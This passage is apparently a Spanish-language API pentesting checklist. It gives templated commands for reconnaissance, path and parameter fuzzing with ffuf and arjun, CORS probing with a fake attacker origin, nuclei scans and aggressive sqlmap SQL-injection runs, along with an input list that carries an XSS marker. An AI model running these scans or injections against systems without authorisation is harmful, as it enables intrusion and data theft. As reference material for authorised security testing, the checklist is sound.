Strict-Transport-Security|Content-Security-Policy|X-Content-Type-Options|Content-Type|X-Frame-Options|Referrer-Policy
```

</details>

<details>

<summary><a href="/escaneo-y-enumeracion/http-methods-verbs">HTTP methods (verbs)</a></summary>

Utilizar el método HTTP apropiado para cada operación y responder con un error `405 Method Not Allowed` si el método de la petición no es el apropiado.

* [Wordlist HTTP methods (verbs)](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/http-methods-verbs/http-methods-verbs.txt).

</details>

<details>

<summary>Content-Type</summary>

Validar los `Content-Type` enviados (request) contra los `Content-Type` aceptados (response).&#x20;

* [Wordlist Content-Type](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt).

Incluir en la respuesta (response) el HTTP header `X-Content-Type-Options`.

```http
X-Content-Type-Options: nosniff
```

</details>

<details>

<summary>Redireccionamiento estricto de HTTP a HTTPS</summary>

```sh
nmap -sV -p 80,443 -n -Pn <target>
curl -I -l <HTTP-URL> -H "Authorization: Bearer <token>"
curl <HTTPS-URL> -H "Authorization: Bearer <token>"
```

</details>

<details>

<summary><a href="/reconocimiento-y-recoleccion-de-informacion/ssl-tls-y-algoritmos-de-cifrados">SSL/TLS y algoritmos de cifrados</a></summary>

```sh
sslscan <target>
nuclei -u <URL> -t ssl -ts -silent
```

</details>

<details>

<summary>Fuzzing</summary>

Fuzzing de paths.

```sh
kr scan http://<target>/ -w routes-large.kite
ffuf -u http://<target>/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt:FUZZ -H "Authorization: Bearer <token>" -c -mc all -fc 404 -o ffuf-fuzzing-paths.html -of html
```

Fuzzing de versiones (v1, v2, v3...).

Fuzzing parámetros GET.

```sh
arjun -u http://<target>/api.php --headers "Authorization: Bearer <token>"
ffuf -u http://<target>/api.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -H "Authorization: Bearer <token>" -c -mc all -fc 301,404 -fs <size> -o ffuf-fuzzing-get-parameters.html -of html
```

Fuzzing valor de parámetros GET.

```sh
ffuf -u http://<target>/api.php?<parameter>=FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -H "Authorization: Bearer <token>" -c -mc all -fc 301,404 -fs <size> -o ffuf-fuzzing-get-parameters-values.html -of html
```

Fuzzing parámetros POST.

```sh
arjun -u http://<target>/api.php --headers "Authorization: Bearer <token>" -m <POST|JSON|XML>
ffuf -u http://<target>/api.php -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -X POST -d "FUZZ=test" -H "Authorization: Bearer <token>" -H "Content-Type: application/x-www-form-urlencoded" -c -mc all -fc 301,404 -fs <size> -o ffuf-fuzzing-post-parameters.html -of html
```

Fuzzing valor de parámetros POST.

```sh
ffuf -u http://<target>/api.php -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -X POST -d "<parameter>=FUZZ" -H "Authorization: Bearer <token>" -H "Content-Type: application/x-www-form-urlencoded" -c -mc all -fc 301,404 -fs <size> -o ffuf-fuzzing-post-parameters-values.html -of html
```

Fuzzing de archivos (según contexto de revisión).

```sh
# Wordlist
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt:FUZZ -c -mc all -fc 404 -o ffuf-fuzzing-files.html -of html
# Wordlist + extensiones (.html, .js, .php, .jsp, .aspx)
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -e .html,.js,.php,.jsp,.aspx -c -mc all -fc 404 -o ffuf-fuzzing-extensions.html -of html
# Wordlist + extensiones (ocultos / .txt, .config, .old, .bak, .inc)
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt:FUZZ -e .txt,.config,.old,.bak,.inc -c -mc all -fc 404 -o ffuf-fuzzing-extensions-hidden.html -of html
# Wordlist crawling + extensiones
ffuf -u http://<target>/FUZZ -w <wordlist-crawling.txt>:FUZZ -e .html,.js,.php,.jsp,.aspx,.txt,.config,.old,.bak,.inc -c -mc all -fc 404 -o ffuf-fuzzing-crawling-extensions.html -of html
```

</details>

<details>

<summary><a href="/explotacion/autenticacion-y-autorizacion">Autenticación y autorización</a></summary>

* Consumo de API con token de autenticación incorrecto.
* Consumo de API con HTTP header de autenticación, pero sin valor.
* Consumo de API sin HTTP header de autenticación.
* Consumo de API con token de autenticación expirado.
* No utilizar `Basic Authentication`.
* [JSON Web Token (JWT)](/explotacion/autenticacion-y-autorizacion/json-web-token-jwt).
* Insecure Direct Object References (IDOR).

</details>

<details>

<summary>Exposición de datos</summary>

* Divulgación de datos sensibles.
* Exposición de datos confidenciales a través del "query strings" en URL.
* Entrega de información excesiva.

</details>

<details>

<summary><a href="/explotacion/input-data-validation">Input data validation</a></summary>

Fuzzing y consumo de API con parámetros de entrada inválidos.

* [Wordlist caracteres especiales](https://raw.githubusercontent.com/MrW0l05zyn/pentesting/master/wordlists/api/special-characters.txt).

```
!@#$%^&~_-+=*.,:;'"\|/?<XSS>[{()}]
!@#$%^&~_-+=*.,:;'\|/?<XSS>[{()}]
!@#$%^&~_-+=*.,:;'|/?<XSS>[{()}]
```

* [Wordlist valores numéricos](https://raw.githubusercontent.com/MrW0l05zyn/pentesting/master/wordlists/api/number-input-data-validation.txt).
* Longitud, rango, formato y tipo.
* Sin valor en parámetros.
* Sin parámetros.

Manejo de errores.

* Mensajes de errores genéricos.
* No revelar detalles del error innecesariamente.
* No entregar detalles técnicos referente al error.

</details>

<details>

<summary><a href="/explotacion/same-origin-policy-sop/cross-origin-resource-sharing-cors">Cross-origin resource sharing (CORS)</a></summary>

```sh
curl -I -X OPTIONS -H "Origin: https://web-maliciosa-atacante.com" -H "Authorization: Bearer <token>" <URL>
```

* [Explotación con credenciales (ACAC)](/explotacion/same-origin-policy-sop/cross-origin-resource-sharing-cors#explotacion-con-credenciales-acac).
  * [Origin reflejado en Access-Control-Allow-Origin](/explotacion/same-origin-policy-sop/cross-origin-resource-sharing-cors#origin-reflejado-en-access-control-allow-origin).
  * [Access-Control-Allow-Origin con valor null](/explotacion/same-origin-policy-sop/cross-origin-resource-sharing-cors#access-control-allow-origin-con-valor-null).

</details>

<details>

<summary>Restricciones de consumo</summary>

* Rate Limit: garantiza un número total de solicitudes en un intervalo de tiempo determinado. Comprueba si el número de solicitudes se encuentra dentro del intervalo de tiempo configurado, independientemente del tiempo entre cada solicitud. Cuando finaliza el intervalo, comienza uno nuevo y también se reinicia el recuento de solicitudes.
* Spike Arrest: garantiza una distancia de tiempo mínima entre dos solicitudes. Si no se respeta el tiempo entre dos solicitudes, no se aceptará la segunda y el código de error HTTP devuelto será 429.
* Caching: almacenamiento en caché.
* Batching attack (GraphQL).

</details>

<details>

<summary>Escaneo automatizado</summary>

* Burp Suite Professional.
* Nuclei.

```sh
nuclei -u <URL> -H "Authorization: Bearer <token>" -ts -silent
```

* Burp Bounty Pro.
* OWASP Zed Attack Proxy (ZAP).

</details>

<details>

<summary>Vulnerabilidades</summary>

* [HTTP Host header](/explotacion/http-host-header).
* [Cross-site scripting (XSS)](/explotacion/cross-site-scripting-xss).
* [Path traversal & file inclusion](/explotacion/path-traversal-and-file-inclusion).
* [Command injection](/explotacion/command-injection).
* [SQL injection (SQLi)](/explotacion/sql-injection-sqli).
  * [MySQL / MariaDB](/explotacion/sql-injection-sqli/mysql-mariadb).
  * [Microsoft SQL Server](/explotacion/sql-injection-sqli/microsoft-sql-server).
  * [PostgreSQL](/explotacion/sql-injection-sqli/postgresql).
  * [Oracle](/explotacion/sql-injection-sqli/oracle).

```sh
# General
sqlmap -r request-general-1.txt --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080
sqlmap -r request-general-2.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080

# Parámetros GET
sqlmap -r request-get-1.txt --method GET -p "<param1>,<param2>,<param3>" --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080
sqlmap -r request-get-2.txt --method GET -p "<param1>,<param2>,<param3>" --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080

# HTTP Headers
sqlmap -r request-headers-1.txt --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*" --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080
sqlmap -r request-headers-2.txt --level=5 --risk=3 --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*" --random-agent --threads=10 --batch --flush-session --hostname --proxy=http://127.0.0.1:8080
```

* [NoSQL injection (NoSQLi)](/explotacion/nosql-injection-nosqli).
* [XML external entity (XXE) injection](/explotacion/xml-external-entity-xxe-injection).
* [CRLF injection](/explotacion/crlf-injection).
* [XPath injection](/explotacion/xpath-injection).
* [LDAP injection](/explotacion/ldap-injection).
* [PDF injection](/explotacion/pdf-injection).
* [Server-side template injection (SSTI)](/explotacion/server-side-template-injection-ssti).
* [Server-side parameter pollution](/explotacion/server-side-parameter-pollution).
* [Server-side request forgery (SSRF)](/explotacion/server-side-request-forgery-ssrf).
* [Web cache poisoning](/explotacion/web-cache-poisoning).
* [HTTP request smuggling](/explotacion/http-request-smuggling).
* [GraphQL](/explotacion/graphql).

</details>


